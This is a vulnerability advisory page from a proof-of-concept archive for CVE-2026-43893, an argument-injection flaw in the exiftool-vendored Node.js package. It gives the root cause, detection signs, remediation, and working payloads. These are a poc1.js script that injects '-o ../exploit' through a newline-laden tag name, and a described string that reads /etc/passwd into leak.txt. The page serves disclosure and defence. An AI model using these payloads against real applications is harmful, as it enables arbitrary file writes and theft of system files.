PoC Archive PoC Archive
High CVE-2026-43893 / GHSA-cw26-7653-2rp5 patched

exiftool-vendored.js Argument Injection via Newline-Delimited Tag Names (CVE-2026-43893)

by Dobby153 · 2026-07-05

CVSS 8.2/10
Severity
High
CVE
CVE-2026-43893 / GHSA-cw26-7653-2rp5
Category
misc
Affected product
exiftool-vendored (npm package, Node.js wrapper around Phil Harvey's ExifTool)
Affected versions
<= 35.18.0 (fixed in 35.19.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherDobby153
CVE / AdvisoryCVE-2026-43893 / GHSA-cw26-7653-2rp5
Categorymisc
SeverityHigh
CVSS Score8.2 (per GHSA-cw26-7653-2rp5)
StatusPoC
Tagsexiftool, exiftool-vendored, argument-injection, arbitrary-file-write, arbitrary-file-read, nodejs, cli-wrapper, newline-injection
RelatedN/A

Affected Target

FieldValue
Software / Systemexiftool-vendored (npm package, Node.js wrapper around Phil Harvey’s ExifTool)
Versions Affected<= 35.18.0 (fixed in 35.19.0)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo (depends on how the application exposes tag-writing to users)
Network Access RequiredNo — local library API misuse; becomes remotely triggerable if an application passes untrusted input (e.g. uploaded file metadata fields) into exiftool.write()

Summary

exiftool-vendored sends caller-supplied strings (tag names in the object passed to exiftool.write(), filenames, and other options) to the underlying ExifTool process via stdin, one argument per line, without filtering embedded newline/carriage-return/NUL characters. Because ExifTool treats each line of -@/stdin argument input as a separate CLI argument, an attacker-controlled tag name containing \n can inject entirely new ExifTool arguments — including -o <path> to redirect output to an arbitrary file, or -execute/-w! sequences to read an arbitrary file and write its contents into a new file. The two included PoC scripts demonstrate arbitrary file write to a path outside the intended working directory, and arbitrary local file read followed by write-out of that content, respectively.


Vulnerability Details

Root Cause

The library passes tag names and other user-controlled values into ExifTool’s -@/stdin “argfile” input format without validating for embedded \r, \n, or \0 characters. Since ExifTool reads that stream as one argument per line, a single JS-level string like "XMP-dc:Title\n-o\n../exploit\n-XMP-dc:Title" used as an object key is split by ExifTool into five distinct arguments (XMP-dc:Title, -o, ../exploit, -XMP-dc:Title), effectively smuggling a new -o <path> (output redirection) flag into the invocation. Fixed in 35.19.0 via per-site input validation against ExifTool’s tag-name grammar plus a defense-in-depth filter that rejects any argument containing \r/\n/\0.

Attack Vector

  1. An application built on exiftool-vendored accepts user-controlled metadata field names/values (e.g. via an upload/tagging feature) and passes them into exiftool.write(file, tags).
  2. Attacker crafts a tag-name key containing embedded newlines that encode extra ExifTool CLI flags, e.g. -o ../exploit to redirect ExifTool’s output file to an arbitrary relative/absolute path, or -execute -p /etc/passwd -w! leak.txt to make ExifTool read an arbitrary file via a -p print-format template and write the result to a new file (leak.txt) in the working directory.
  3. exiftool.write() forwards this string as-is to the ExifTool process’s stdin argfile.
  4. ExifTool parses the injected lines as legitimate additional arguments and performs the attacker-chosen file write (or file read + write-out).

Impact

Arbitrary file write to attacker-controlled paths (e.g. overwriting or creating files outside the intended output directory) and arbitrary local file read (e.g. reading /etc/passwd or other sensitive files and exfiltrating their contents into an attacker-readable output file). Depending on how the host application exposes tag-writing and what paths are reachable, this can lead to configuration tampering, information disclosure, or a foothold for further compromise (e.g. overwriting an application file that is later executed/included).


Environment / Lab Setup

Target:   exiftool-vendored (npm) <= 35.18.0, Node.js runtime
Attacker: Local Node.js script invoking exiftool.write() with a crafted tag name,
          or a web app that forwards user-supplied metadata fields into exiftool-vendored

Proof of Concept

PoC Script

See poc1.js and poc2.js in this folder (both operate on the sample image intput.jpg).

1
2
3
npm install exiftool-vendored@35.18.0
node poc1.js   # arbitrary file write: injects "-o ../exploit" to write output outside the cwd
node poc2.js   # arbitrary file read + write: injects "-execute -p /etc/passwd -w! leak.txt"

poc1.js sets a malicious tag-name key "XMP-dc:Title\n-o\n../exploit\n-XMP-dc:Title" when calling exiftool.write("input.jpg", tags1), causing ExifTool to write its output to ../exploit instead of the intended location. poc2.js sets a tag-name key "execute\n-p\n/etc/passwd\n-w!\nleak.txt\ninput.jpg\n-execute\n-Comment", causing ExifTool to read /etc/passwd via a print-format directive and write its contents into leak.txt alongside the image — demonstrating arbitrary local file read exfiltrated through the metadata-writing API.


Detection & Indicators of Compromise

Signs of compromise:

  • New or modified files appearing outside the expected working/output directory right after a metadata-tagging feature is used.
  • Application logs showing tag names containing control characters (\n, \r, \0) or ExifTool CLI flag syntax (-o, -execute, -w!, -p).
  • Sensitive files (e.g. /etc/passwd) unexpectedly readable/copied into an application’s upload or output directory.

Remediation

ActionDetail
Primary fixUpgrade to exiftool-vendored 35.19.0 or later, which validates tag names against ExifTool’s grammar and strips/rejects arguments containing \r, \n, or \0
Interim mitigationNever pass raw user-controlled strings as tag-name keys or filenames to exiftool.write()/related APIs without allow-listing to a known-safe character set; run ExifTool operations in a sandboxed/isolated filesystem with least-privilege file access

References


Notes

Mirrored from https://github.com/Dobby153/CVE-2026-43893 on 2026-07-05.

poc1.js
1
2
3
4
5
6
import { exiftool } from "exiftool-vendored";

const tags1 = {"XMP-dc:Title\n-o\n../exploit\n-XMP-dc:Title": "HELLOWORLD"}; //Write file in arbitrary location

await exiftool.write("input.jpg", tags1);
await exiftool.end();